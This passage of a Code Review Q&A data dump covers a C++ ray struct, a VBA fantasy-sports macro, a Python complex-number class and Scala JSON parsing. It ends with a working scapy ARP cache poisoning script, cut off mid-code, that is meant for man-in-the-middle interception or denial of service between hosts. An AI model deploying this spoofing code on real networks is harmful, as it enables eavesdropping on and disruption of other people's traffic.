origin{};\n VectorType direction{};\n ScalarType min_t{};\n ScalarType max_t{};\n};\n</code></pre>\n<p>I assume here that <code>PointType</code> contains information about the underlying type of the value it stores. I also used the fact that we can construct a value of a type instead of <code>static_cast<></code>ing it. It saves a bit of typing.</p>\n<p>So how to get the dimensionality of a <code>Ray</code>? Again I would just ensure your <code>PointType</code> contains that information, so to get the dimension of a Ray you just write something like:</p>\n<pre><code>Ray<...> ray = ...;\nauto dimension = ray.origin.dimension;\n</code></pre>\n<h1>Prevent being able to use different types for <code>origin</code> and <code>direction</code></h1>\n<p>What would it mean to create a <code>Ray<Point2<float>, Vector3<double>></code>? It doesn't make sense. Either I would just use one template type:</p>\n<pre><code>template <typename VectorType>\nstruct Ray {\n ...\n VectorType origin;\n VectorType direction;\n};\n</code></pre>\n<p>Or use some <a href=\"https://en.cppreference.com/w/cpp/language/sfinae\" rel=\"noreferrer\">SFINAE</a> trick to enforce that the dimension and underlying scalar type is the same.</p>\n<h1>Enforce normalization</h1>\n<p>If you should not construct a <code>Ray</code> with an unnormalized <code>direction</code>, then instead of checking this at runtime with an <code>assert()</code>, I would just write a constructor that normalizes <code>direction</code>:</p>\n<pre><code>template <...>\nstruct Ray {\n Ray(const PointType &origin, const VectorType &direction, ...)\n : origin(origin)\n , direction(direction.normalized())\n , ...\n</code></pre>\n<p>Also note that your function <code>isDirectionNormalized()</code> forgets to take the absolute value of the difference. Floating point comparisons are hard, enforcing normalization sidesteps this issue.</p>\n<h1>About testing</h1>\n<p>Are you doing too much testing? Maybe. I would honestly not write test cases that just check whether the constructor has properly copied values into member variables, as that is such a basic language function that if that doesn't work, you have bigger problems. But if you would have a constructor that normalizes the <code>direction</code>, then I would definitely test that.</p>\n<p>When testing the <code>std::ostream</code> operator of <code>Ray</code>, I would not write to <code>std::cout</code> and then have your testing library jump through hoops to get the standard output back, but rather I would just create a <code>std::ostringstream</code> to capture the output in. And, instead of checking for the presence of substrings, I would verify that the whole string is exactly as expected:</p>\n<pre><code>Ray2f r({1.0f, 2.0f}, {3.0f, 4.0f}, 5.0f, 6.0f);\nstd::ostringstream os;\nos << r;\n\nEXPECT_THAT(os.str(), std::string(R"(Ray2f[\n origin = {1.0, 2.0},\n direciton = {3.0, 4.0},\n min_t = 5.0,\n max_t = 6.0\n])"));\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T22:17:31.850",
"Id": "249461",
"ParentId": "249457",
"Score": "5"
}
},
{
"body": "<p>Your implementations of <code>convertTypeToString</code> and <code>dimensionAsString</code> are a little inefficient and unnatural. First, there is no need to use a variable inside the function which you assign to and finally return. Second, you should not represent an unknown or nonacceptable value as a string. Think about it from a user perspective - it's not nice (nor robust to change) to have to compare against some "magic value" like "UnknownType". Moreover, you already have the type information at compile-time, so why wouldn't you use this there?</p>\n<p>For example, instead, we could write:</p>\n<pre><code>template <typename ScalarType>\nstd::string convertTypeToString();\n\ntemplate <>\nstd::string convertTypeToString<int>() {\n return "i";\n}\n\ntemplate <>\nstd::string convertTypeToString<float>() {\n return "f";\n}\n\ntemplate <>\nstd::string convertTypeToString<double>() {\n return "d";\n}\n</code></pre>\n<p>And otherwise you'll hit error while compiling if you tried to do say <code>convertTypeToString<bool>();</code>. You could also use a <code>static_assert</code> to output a more meaningful error message if you wanted to, like "not implemented" or so.</p>\n<p>You might as well make this fully compile-time by using <code>constexpr</code> and classes:</p>\n<pre><code>template <typename ScalarType>\nstruct convertTypeToString;\n\ntemplate <>\nstruct convertTypeToString<int> {\n constexpr static char value = 'i';\n};\n\n// Later on, you just do\nconvertTypeToString<int>::value;\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T15:08:23.780",
"Id": "249500",
"ParentId": "249457",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "249461",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T21:23:12.957",
"Id": "249457",
"Score": "5",
"Tags": [
"c++",
"unit-testing",
"c++17",
"raytracing",
"raycasting"
],
"Title": "Ray implementation"
}
|
249457
|
<p>I have created the code below to generate daily fantasy sports lineups from a pool of players that have been entered in my excel file. Right now the code can run through about 16,500 combinations per minute. It takes too long to run through all possible lineups given the large amount of possible combinations. I'm hoping for someone to give me some advice on how to improve the code and/or cut down the run time. Also I am not looking to get a more powerful computer to run this code right now.</p>
<pre><code>'Declare Array
Dim Results
Sheets(1).Activate
'Declare Number of Positions and Players and Assign
Dim QB As Byte, RB As Byte, WR As Byte, TE As Byte, Flex As Byte, Defense As Byte, Players As Long
QB = Sheets("Chosen Player Pool").Range("A27")
RB = Sheets("Chosen Player Pool").Range("F27")
WR = Sheets("Chosen Player Pool").Range("K27")
TE = Sheets("Chosen Player Pool").Range("P27")
Flex = Sheets("Chosen Player Pool").Range("U36")
Defense = Sheets("Chosen Player Pool").Range("Z27")
Players = Sheets("Lineup").Range("B20")
'Create Results Array
ReDim Results(1 To 50000, 1 To 9)
'Clear Lineups Sheet
Sheets("Generated").Activate
Range(Selection, Selection.End(xlToRight)).Select
Range(Selection, Selection.End(xlDown)).Select
Range(Selection, Selection.End(xlDown)).Select
Selection.ClearContents
'Declare Counters
Dim Rw As Single, i As Byte, j As Byte, k As Byte, l As Byte, m As Byte, n As Byte, o As Byte, p As Byte, q As Byte
'Start Counting, comment out For and next lines then set value to lock
Sheets("Lineup").Activate
ActiveSheet.Range("A2").Select
'QB
For i = 1 To QB
Range("A2").Value = i
'RB1
For j = 1 To RB
Range("H3").Value = j
'RB2
For k = 1 To RB
Range("H4").Value = k
'WR1
For l = 1 To WR
Range("H5").Value = l
'WR2
For m = 1 To WR
Range("H6").Value = m
'WR3
For n = 1 To WR
Range("H7").Value = n
'TE
For o = 1 To TE
Range("A8").Value = o
'Flex
For p = 1 To Flex
Range("A9").Value = p
'Defense
For q = 1 To Defense
Range("A10").Value = q
'Salary Cap Check
If Range("D15") = "No" Then GoTo SkipPaste
'Duplicates Check
If Range("D18") = "No" Then GoTo SkipPaste
If Rw = 50000 Then GoTo PasteResults
Rw = Rw + 1
'Create Vector Array, Places Player into appropriate column
Results(Rw, 1) = Range("C2"): Results(Rw, 2) = Range("C3"): Results(Rw, 3) = Range("C4"):
Results(Rw, 4) = Range("C5"): Results(Rw, 5) = Range("C6"): Results(Rw, 6) = Range("C7"):
Results(Rw, 7) = Range("C8"): Results(Rw, 8) = Range("C9"): Results(Rw, 9) = Range("C10")
SkipPaste:
'Defense
Next q
'Flex
Next p
'TE
Next o
'WR3
Next n
'WR2
Next m
'WR1
Next l
'RB2
Next k
'RB1
Next j
'QB
Next i
'Paste Results
PasteResults:
Sheets("Generated").Cells(1).Resize(UBound(Results, 1), UBound(Results, 2)) = Results
Sheets("Generated").Activate
</code></pre>
<p>To add some more background on what is going on in the excel file... On the first sheet of the file ("Lineup", where most of the work is being done), I have Index(Match()) functions to look up the player, salary and team information based on the iteration of the loop. I then have a check to make sure that the salary fits into the constraints of the rules (Cell D15). I then make sure that players are not repeated as they could be shown to repeat due to the nature of my loops (Cell D18). Please let me know if there are any additional questions you need to help me out. TIA!</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T05:53:51.110",
"Id": "489080",
"Score": "0",
"body": "Welcome to CodeReview@SE. You ask for improvement of the code - I do not see the task well defined. You describe, in the text in addition to the code, how you proceed: a requirements specification, a test agreed to be sufficient would be better."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T11:53:44.827",
"Id": "489118",
"Score": "0",
"body": "@greybeard I am looking to make the code more efficient and cut down the run time."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T11:55:46.363",
"Id": "489119",
"Score": "0",
"body": "I see no `Public Sub|Function MyProcedure()` or `End Sub|Function`, so it's hard to know if this is the complete method, which is a requirement for posting on CR. Please make sure you've got the complete method posted."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T19:25:34.970",
"Id": "489158",
"Score": "0",
"body": "The ideal code review we can give is when the person requesting the review can post a complete and executable set of code. While sometimes this isn't possible, representative snippets can be distilled to show something that a reviewer could copy-pasta into our own spreadsheet and run. Showing a sample table of data is even better. Having code and data in this manner can really help pinpoint structural issues that may lie outside the code. Plus, many of us will not only provide comments, but will also write up a test example (to ensure we're giving correct advice)."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T21:37:24.487",
"Id": "249458",
"Score": "1",
"Tags": [
"performance",
"vba",
"excel",
"macros"
],
"Title": "Trying to speed up VBA macro to generate viable Daily Fantasy Sports lineups"
}
|
249458
|
<p>I've just started a course that will require knowledge and experience with Python for future projects, which I don't have, so I thought I'd give it a go to familiarize myself with it and get some feedback. I got a decent summary of the language's main features from a 2 hour long overview video (<a href="https://www.youtube.com/watch?v=H1elmMBnykA" rel="noreferrer">https://www.youtube.com/watch?v=H1elmMBnykA</a>), tried a few small things on my own, then decided to move on to something a bit more interesting.</p>
<p>As the title indicates, the code consists of two classes: <code>Complex</code>, which represents complex numbers, and <code>ComplexTest</code> which is a sequence of unit tests for the <code>Complex</code> class. I am aware that Python supports complex numbers natively. I should also mention that all the unit tests from <code>ComplexTest</code> run properly and pass.</p>
<p>I'm interested in comment about literally any parts of my code, since this is my first time writing Python code. Any and all feedback is welcome!</p>
<p>Finally, one point which irked me a bit was the apparent clash between Python 2 and Python 3, which often made me unsure whether the way I was implementing things was "correct" or not from the Python 3 perspective (which is the one I'm targeting).</p>
<p>I also really miss my semicolons and curly brackets :(</p>
<p><strong>ccomplex.py</strong></p>
<pre><code>from numbers import Number
import math
class Complex:
def __init__(self, re=0, im=0):
self._re = re
self._im = im
def __eq__(self, other):
if isinstance(other, Complex):
return self.re == other.re and self.im == other.im
else:
raise TypeError("The argument should be an instance of Complex")
def __neg__(self):
return Complex(-self.re, -self.im)
def __add__(self, other):
if isinstance(other, Complex):
return Complex(self.re + other.re, self.im + other.im)
else:
raise TypeError("The argument should be an instance of Complex")
def __sub__(self, other):
if isinstance(other, Complex):
return self + (-other)
else:
raise TypeError("The argument should be an instance of Complex")
def __mul__(self, other):
if isinstance(other, Complex):
a = self.re * other.re - self.im * other.im
b = self.re * other.im + self.im * other.re
return Complex(a, b)
elif isinstance(other, Number):
return Complex(self.re * other, self.im * other)
else:
raise TypeError(
"The argument should be an instance of Complex or Number")
def __rmul__(self, other):
return self * other
def __truediv__(self, other):
if isinstance(other, Complex):
if self.re == 0 and self.im == 0:
return Complex(0, 0)
if other.re == 0 and other.im == 0:
raise ValueError("The argument should be different from zero")
return (self * other.conj()) / other.mod_squared()
elif isinstance(other, Number):
return Complex(self.re / other, self.im / other)
else:
raise TypeError(
"The argument should be an instance of Complex or Number")
def __rtruediv__(self, other):
if isinstance(other, Complex):
if other.re == 0 and other.im == 0:
return Complex(0, 0)
if self.re == 0 and self.im == 0:
raise ValueError("The argument should be different from zero")
return (other * self.conj()) / self.mod_squared()
elif isinstance(other, Number):
return Complex(other, 0) / self
else:
raise TypeError(
"The argument should be an instance of Complex or Number")
def conj(self):
return Complex(self.re, -self.im)
def mod_squared(self):
return self.re * self.re + self.im * self.im
def mod(self):
return math.sqrt(self.mod_squared())
def arg(self):
return math.atan2(self.im, self.re)
@property
def re(self):
return self._re
@re.setter
def re(self, value):
self._re = value
@property
def im(self):
return self._im
@im.setter
def im(self, value):
self._im = value
def __str__(self):
op = "+" if self.im >= 0 else "-"
return "{} {} {}i".format(self.re, op, abs(self.im))
</code></pre>
<p><strong>complexTest.py</strong></p>
<pre><code>from ccomplex import Complex
import math
import unittest
class ComplexTest(unittest.TestCase):
def test_equality(self):
self.assertTrue(Complex(2, 2) == Complex(2, 2))
def test_inequality(self):
self.assertFalse(Complex(1, 1) == Complex(2, 2))
def test_equality_raises_type_exception(self):
with self.assertRaises(TypeError):
z = Complex(2, 2) == "Not A Complex"
def test_negation(self):
self.assertEqual(-Complex(4, 4), Complex(-4, -4))
def test_sum(self):
z = Complex(2, 2)
self.assertEqual(z + z, Complex(4, 4))
def test_difference(self):
z = Complex(4, 4)
self.assertEqual(z - Complex(2, 2), Complex(2, 2))
def test_complex_product(self):
z1 = Complex(4, 4)
z2 = Complex(2, 2)
self.assertEqual(z1 * z2, Complex(0, 16))
def test_product_raises_type_exception(self):
with self.assertRaises(TypeError):
z = Complex(2, 2) * "Not A Complex"
def test_left_real_product(self):
z = Complex(2, 2)
self.assertEqual(z * 2, Complex(4, 4))
def test_right_real_product(self):
z = Complex(2, 2)
self.assertEqual(2 * z, Complex(4, 4))
def test_complex_division(self):
z1 = Complex(4, 4)
z2 = Complex(2, 2)
self.assertEqual(z1 / z2, Complex(2, 0))
def test_division_raises_type_exception(self):
with self.assertRaises(TypeError):
z = Complex(2, 2) / "Not A Complex"
def test_complex_division_raises_zero_division_exception(self):
with self.assertRaises(ValueError):
z = Complex(2, 2) / Complex(0, 0)
def test_real_division_raises_zero_division_exception(self):
with self.assertRaises(ZeroDivisionError):
z = Complex(2, 2) / 0
def test_left_real_division(self):
z = Complex(4, 4)
self.assertEqual(z / 2, Complex(2, 2))
def test_right_real_division(self):
z = Complex(2, 2)
self.assertEqual(2 / z, Complex(0.5, -0.5))
def test_conjugate(self):
z = Complex(2, 2)
self.assertEqual(z.conj(), Complex(2, -2))
def test_mod_squared(self):
z = Complex(2, 2)
self.assertAlmostEqual(z.mod_squared(), 8, delta=10e-16)
def test_mod(self):
z = Complex(2, 2)
self.assertAlmostEqual(z.mod(), 2 * math.sqrt(2), delta=10e-16)
def test_arg(self):
z = Complex(2, 2)
self.assertAlmostEqual(z.arg(), math.pi / 4, delta=10e-16)
if __name__ == '__main__':
unittest.main(verbosity=2)
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T21:56:21.300",
"Id": "489174",
"Score": "0",
"body": "Just a note: Code Review is a low bandwidth site. Unlike the Stack Overflow (which tends to be more of a fastest-gun-in-the-west site), code reviews should be slower, and more methodical. As such, you might want to wait more than 24 hours after posting your question before accepting an answer; questions with accepted answers tend to receive less attention. As [Linus's law](https://en.wikipedia.org/wiki/Linus%27s_law) states, \"_given enough eyeballs, all bugs are shallow_\", so you don't want to discourage those eyeballs."
}
] |
[
{
"body": "<p>Looks pretty good.</p>\n<p>I see you implemented modulus in <code>mod</code>. It's also called absolute value, and that's the name Python uses. If you implement <code>__abs__</code>, then Python's <a href=\"https://docs.python.org/3/library/functions.html#abs\" rel=\"nofollow noreferrer\"><code>abs</code> function</a> can use it. Then <code>abs(Complex(3, 4))</code> would give you <code>5.0</code>. Just like Python's own <code>abs(3 + 4j)</code> does.</p>\n<p>Another useful one is <code>__bool__</code>, which lets you declare zero as false, as is standard in Python. Currently you fail this (i.e., it does get printed):</p>\n<pre><code>if Complex(0, 0):\n print('this should not get printed')\n</code></pre>\n<p>You could then also use that twice inside your <code>__truediv__</code> method. Like <code>if not self:</code>.</p>\n<p>The (in)equality test could be extended. For example, I'd expect <code>Complex(3) == 3</code> to give me <code>True</code>, not crash. And then your tests inside <code>__truediv__</code> could alternatively be like <code>if self == 0:</code>.</p>\n<p>You can have a look at what Python's own complex numbers have:</p>\n<pre><code>>>> for name in dir(1j):\n print(name)\n\n__abs__\n__add__\n__bool__\n__class__\n__delattr__\n__dir__\n__divmod__\n__doc__\n__eq__\n__float__\n...\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T12:22:07.087",
"Id": "489120",
"Score": "0",
"body": "_For example, I'd expect Complex(3) == 3 to give me True, not crash_ -- good point, I wish I'd thought of that. And the simplified `self == 0` checks too, thanks!\n\nJust to be sure I understand correctly, if I implement `__bool__` then I won't need to write `if self == 0`, instead I could simply write `if self`, correct?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T12:39:45.537",
"Id": "489121",
"Score": "1",
"body": "@cliesens Not `if self` but `if not self`. Unless you implement `__bool__` in the opposite way it should be :-). But I guess this shows that `if self == 0` would be clearer."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T12:50:29.060",
"Id": "489122",
"Score": "0",
"body": "Right, I missed that; woops! I just realized it while implementing `__ne__` (by the way, should I implement it whenever I also implement `__eq__`?) and some additional tests for the new methods I've just written. Thanks again!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T15:03:53.690",
"Id": "489139",
"Score": "1",
"body": "@cliesens Good question. I think it's not necessary to implement `__ne__` here. The default works. See the answers to [this question](https://stackoverflow.com/q/4352244/13008439), but ignore the accepted answer since it's outdated."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T00:22:56.083",
"Id": "249469",
"ParentId": "249460",
"Score": "3"
}
},
{
"body": "<h1>Value Objects</h1>\n<p>The following shows what most users would consider unexpected behaviour:</p>\n<pre><code>from ccomplex import Complex\n\na = Complex(5, 4) + Complex(3)\nb = a\na.re = -a.re\nprint(b) # "-8 + 4i"\n</code></pre>\n<p>Values are usually considered to be immutable. Since Python uses objects to represent values, and objects have identity which can be shared, the best practice is to use immutable objects when creating what are normally considered values. This looks like it is modifying a string:</p>\n<pre><code>a = "Hello"\na += " world"\n</code></pre>\n<p>But since <code>str</code> does not implement the <code>__iadd__</code> operator, what Python actually does is interpret the statement as <code>a = a + " world"</code>, which evaluates the expression <code>a + " world"</code>, and assigns the result (a new object) to <code>a</code>. The identity of <code>a</code> changes as the <code>a += ...</code> statement is executed, since a different object is stored in that variable.</p>\n<pre><code>>>> a = "hello"\n>>> id(a)\n1966355478512\n>>> a += " world"\n>>> id(a)\n1966350779120\n>>> \n</code></pre>\n<p>Removing the <code>@re.setter</code> and <code>@im.setter</code> methods would change your <code>Complex</code> class to be publicly immutable. While that is a good start, nothing prevents someone from manipulating the internals directly, like <code>a._re = 7</code>.</p>\n<p>The easiest way to make this class truly immutable is to inherit from an immutable base. Assuming you're using at least Python 3.7:</p>\n<pre><code>from typing import NamedTuple\n\nclass Complex(NamedTuple):\n re: float\n im: float = 0\n\n def __eq__(self, other):\n if isinstance(other, Complex):\n return self.re == other.re and self.im == other.im\n else:\n return NotImplemented\n\n # ... etc ...\n</code></pre>\n<p>The <code>NamedTuple</code> base class automatically creates the constructor for you, so <code>Complex(2, 3)</code> produces your <code>2 + 3i</code> complex value. If no value is provided for <code>im</code>, such as <code>Complex(2)</code>, the default of <code>0</code> is used for <code>im</code>.</p>\n<p>If you wanted to change the <code>re</code> or <code>im</code> value, you must create a new object.</p>\n<pre><code>a = Complex(-8, a.im)\n</code></pre>\n<p>or, using <a href=\"https://docs.python.org/3.7/library/collections.html#collections.somenamedtuple._replace\" rel=\"nofollow noreferrer\"><code>NamedTuple._replace</code></a>:</p>\n<pre><code>a = a._replace(re=-8)\n</code></pre>\n<h1>Not Implemented</h1>\n<p>The astute reader will notice <code>return NotImplemented</code> in the above. This is a magic singleton, which is a signal to Python to try alternatives. For instance, <code>a == b</code> could fallback on <code>not a.__neq__(b)</code>, <code>b.__eq__(a)</code>, or even <code>not b.__ne__(a)</code>.</p>\n<p>Consider: you may not know about a <code>Matrix</code> class, but it might know about your <code>Complex</code> class. If someone does <code>cmplx * matrix</code>, if your <code>__mul__</code> function raises <code>TypeError</code>, it's game over. If instead <code>NotImplemented</code> is returned, then <code>Matrix.__rmul__</code> can be tried, which might work.</p>\n<p>See <a href=\"https://docs.python.org/3.7/library/constants.html?highlight=notimplemented#NotImplemented\" rel=\"nofollow noreferrer\">NotImplemented</a> and <a href=\"https://docs.python.org/3.7/library/numbers.html#implementing-the-arithmetic-operations\" rel=\"nofollow noreferrer\">Implementing the arithmetic operations</a></p>\n<h1>rtruediv</h1>\n<p>When evaluating <code>a / b</code>, first is tried <code>a.__truediv__(b)</code>. If that fails (was not defined or returns <code>NotImplemented</code>), <code>b.__rtruediv__(a)</code> may be tried.</p>\n<pre><code>class Complex:\n ...\n def __rtruediv__(self, other):\n if isinstance(other, Complex):\n ...\n ...\n</code></pre>\n<p>Why would <code>isinstance(other, Complex)</code> ever be true? It would mean both that <code>self</code> is a <code>Complex</code> (since we're in <code>Complex.__rtruediv__</code>), and <code>other</code> is a <code>Complex</code> (since <code>isinstance</code> says so in this scenario). But if that is the case, we're doing <code>Complex() / Complex()</code>, so then <code>__truediv__</code> should have been used, and <code>__rtruediv__</code> wouldn't even need to be considered.</p>\n<h1>Division by Zero</h1>\n<p>Why does <code>Complex(2, 2) / 0</code> raise a <code>ZeroDivisionError</code> where as <code>Complex(2, 2) / Complex(0, 0)</code> raises a <code>ValueError</code>? Shouldn't it be raising a <code>ZeroDivisionError</code>?</p>\n<p>Your test name <code>test_complex_division_raises_zero_division_exception</code> doesn't match the <code>with self.assertRaises(ValueError)</code> condition, which suggests you knew what it should have raised, and discovered the error, but changed the test to match the condition that was raised, instead of raising the correct exception.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T21:49:15.827",
"Id": "249517",
"ParentId": "249460",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "249469",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T22:16:37.823",
"Id": "249460",
"Score": "5",
"Tags": [
"python",
"python-3.x",
"unit-testing",
"reinventing-the-wheel"
],
"Title": "Complex Numbers & Unit Tests in Python"
}
|
249460
|
<p>I have the below function which populates different time-related case classes based on what is present in the JSON input.</p>
<pre><code>def parseTime(timeJson: JsValue) = {
val day = (timeJson \ "day").getOrElse(JsString("")).as[JsString].value.toInt
val week = (timeJson \ "month").getOrElse(JsString("")).as[JsString].value.toInt
val month = (timeJson \ "month").getOrElse(JsString("")).as[JsString].value.toInt
val year = (timeJson \ "year").getOrElse(JsString("")).as[JsString].value.toInt
if (day != "") {
YearMonthDay(
year = year,
month = month,
day = day)
}
else if (month != "") {
YearMonth(
year = year,
month = month
)
}
else if (week != "") {
YearWeek(
year = year,
week = week
)
}
else {
Year(year)
}
}
</code></pre>
<p>Is there a cleaner way to check whether specific fields are present in my tuple of 4 values (day, week, month, year)</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T02:50:35.067",
"Id": "489068",
"Score": "0",
"body": "The posted code lacks the `import` statements necessary for it to compile."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T06:08:53.587",
"Id": "489082",
"Score": "0",
"body": "There is [`scala.util.parsing.json.JSON`](https://www.scala-lang.org/api/2.9.3/scala/util/parsing/json/JSON$.html) as well as [Circe](https://circe.github.io/circe/); you seem to be [tag:reinventing-the-wheel]: tag accordingly."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T18:59:55.443",
"Id": "489482",
"Score": "0",
"body": "Not related to the json, but you can remove most of those braces. `!= \"\"` could be `.nonEmpty`"
}
] |
[
{
"body": "<p>Let this be the definition of your Date types:</p>\n<pre><code>sealed trait Date {\n def year: Int\n}\n\ncase class Year(year: Int) extends Date\ncase class YearMonth(year: Int, month: Int) extends Date\ncase class YearWeek(year: Int, week: Int) extends Date\ncase class YearMonthDay(year: Int, month: Int, day: Int) extends Date\n</code></pre>\n<p>In your question there are problems when value is not defined, or when it is empty string, or when value is present, but it is not a number. So you can use common function <code>readInt</code> to read optional integer from JSON. In case if value is not present or if value is empty or non-integer, the result of function will be <code>scala.util.Failure</code>.</p>\n<pre><code> def parseDate(dateJson: JsValue): Try[Date] = {\n def readInt(fieldName: String): Try[Int] =\n (dateJson \\ fieldName).asOpt[String].filter(_.nonEmpty).map(x => Try(x.toInt))\n .getOrElse(Failure(new IllegalArgumentException(s"$fieldName is empty")))\n\n val maybeDay: Try[Int] = readInt("day")\n val maybeWeek: Try[Int] = readInt("week")\n val maybeMonth: Try[Int] = readInt("month")\n val maybeYear: Try[Int] = readInt("year")\n\n maybeYear.map { year: Int =>\n maybeMonth match {\n case Success(month) => maybeDay match {\n case Success(day) => YearMonthDay(year, month, day)\n case _ => YearMonth(year, month)\n }\n case _ => maybeWeek match {\n case Success(week) => YearWeek(year, week)\n case _ => Year(year)\n }\n }\n }\n }\n</code></pre>\n<p>My tests:</p>\n<pre><code>val date1 = JsObject(Map("year" -> JsString("2001"), "month" -> JsString("11"), "day" -> JsString("30")))\nprintln(parseDate(date1)) // => Success(YearMonthDay(2001,11,30))\nval date2 = JsObject(Map("year" -> JsString("2001"), "month" -> JsString("11")))\nprintln(parseDate(date2)) // => Success(YearMonth(2001,11))\nval date3 = JsObject(Map("year" -> JsString("2001"), "week" -> JsString("51")))\nprintln(parseDate(date3)) // => Success(YearWeek(2001,51))\nval date4 = JsObject(Map("year" -> JsString("")))\nprintln(parseDate(date4)) // => Failure(java.lang.IllegalArgumentException: year is empty)\n</code></pre>\n<p>Sorry for my English</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-12T20:41:28.893",
"Id": "250562",
"ParentId": "249463",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T22:31:47.850",
"Id": "249463",
"Score": "2",
"Tags": [
"scala"
],
"Title": "Scala function to parse json with time fields to appropriate case classes. How can I write this better?"
}
|
249463
|
<p>This code "poisons" the ARP cache of victim computers. Given the IP addresses of hosts A and B, it will trick A into thinking that you're B, and B into thinking that you're A. This means that all the traffic that they send to the other will actually be sent to you, and you can either consume that data (DOS), or forward it along to the intended recipient, and then also forward the response back (MitM).</p>
<p>Simple usage:</p>
<pre><code>python arpspoof.py 192.168.123.1 192.168.123.111 -t 60 -b 3 -r
</code></pre>
<p>This will make it intercept traffic between <code>.1</code> and <code>.111</code>, will run for 60 seconds (<code>-t</code>), will send out the ARP bursts every 3 seconds (<code>-b</code>), and will attempt to "un-poison" each of the ARP caches when it's done (<code>-r</code>).</p>
<p>What I'd like commented on primarily:</p>
<ul>
<li><p>This is my first time ever touching <code>argparse</code>. If there's anything I can improve on with it's usage, I'd like to know. The main thorn in my side is I'd like to verify that there's <em>at least</em> two IPs supplied, but apparently <code>argparse</code>'s <code>narg</code> option doesn't allow that fine of control. I'd like to know if there's a better way than doing the manual <code>len</code> check after that I am.</p>
</li>
<li><p>To reverse the poisoning, I'm sending a real ARP request to the victim to get their MAC address, then sending out an advertisement on their behalf. This has two issues though:</p>
<ul>
<li><p>It requires sending/receiving an ARP request/reply, which is expensive.</p>
</li>
<li><p>It's extra traffic that's generated, which makes detection more likely.</p>
</li>
</ul>
</li>
</ul>
<hr />
<p><code>arpspoof.py</code></p>
<pre><code>import time
from typing import Iterable, List, Dict
from itertools import permutations
import argparse as ap
from scapy.arch import get_if_hwaddr
from scapy.config import conf
from scapy.layers.l2 import ARP
from scapy.sendrecv import send, sr
MAC_REQUEST_RETRIES = 3
MAC_REQUEST_TIMEOUT = 3
def _request_macs(target_ips: Iterable[str], verbose: bool = False) -> Dict[str, str]:
reqs = ARP(pdst=list(target_ips), op="who-has")
replies, _ = sr(reqs, retry=MAC_REQUEST_RETRIES, timeout=MAC_REQUEST_TIMEOUT, verbose=verbose)
return {reply_stim[ARP].pdst: reply_resp[ARP].hwsrc
for reply_stim, reply_resp in replies}
def _new_recovery_broadcast_arps(victim_ips: Iterable[str]) -> List[ARP]:
"""
Attempts to create a packet to reverse the ARP Spoofing.
If a MAC address can't be retrieved, it will be dropped.
A very expensive function, as it carries out ARP-requests before the packets are constructed.
"""
victim_macs = _request_macs(victim_ips)
return [ARP(psrc=v_ip, pdst=v_ip, hwsrc=v_mac)
for v_ip, v_mac in victim_macs.items()]
def _new_unsolicited_reply_redirect(victim_ip: str, redirect_from_ip: str) -> ARP:
our_mac = get_if_hwaddr(conf.iface)
return ARP(hwsrc=our_mac, psrc=redirect_from_ip, pdst=victim_ip, op="is-at")
def mass_arp_poison(victim_ips: Iterable[str],
burst_delay: int,
n_bursts: int,
verbose: bool = False
) -> None:
"""
Attempts to convince every host at the given addresses that we're each of the other computers.
In the simplest form, victim_ips can be a tuple of (gateway_ip, victim_ip) to intercept a single computer's traffic.
"""
packets = [_new_unsolicited_reply_redirect(v1, v2)
for v1, v2 in permutations(victim_ips, 2)]
for _ in range(n_bursts):
send(packets, verbose=verbose)
time.sleep(burst_delay)
def mass_reverse_arp_poisoning(victim_ips: Iterable[str], verbose: bool = False) -> None:
"""
Attempts to reverse a previous ARP cache poisoning by advertising each victim's MAC.
"""
packets = _new_recovery_broadcast_arps(victim_ips)
send(packets, verbose=verbose)
def intercept_between(victim_ips: Iterable[str],
burst_delay: int,
n_bursts: int,
reverse_poisoning_after: bool = True,
verbose: bool = False
) -> None:
"""
Attempts to convince every host at the given addresses that we're each of the other computers.
In the simplest form, victim_ips can be a tuple of (gateway_ip, victim_ip) to intercept a single computer's traffic.
If reverse_reverse_poisoning_after, it will also attempt to reverse a previous ARP cache poisoning by
advertising each victim's MAC.
"""
try:
mass_arp_poison(victim_ips, burst_delay, n_bursts, verbose)
except KeyboardInterrupt:
pass
finally:
if reverse_poisoning_after:
mass_reverse_arp_poisoning(victim_ips, verbose)
def main():
parser = ap.ArgumentParser()
parser.add_argument("ips", nargs="+",
help="The IP addresses to redirect traffic from.")
parser.add_argument("-r", "--recover_after", action="store_true",
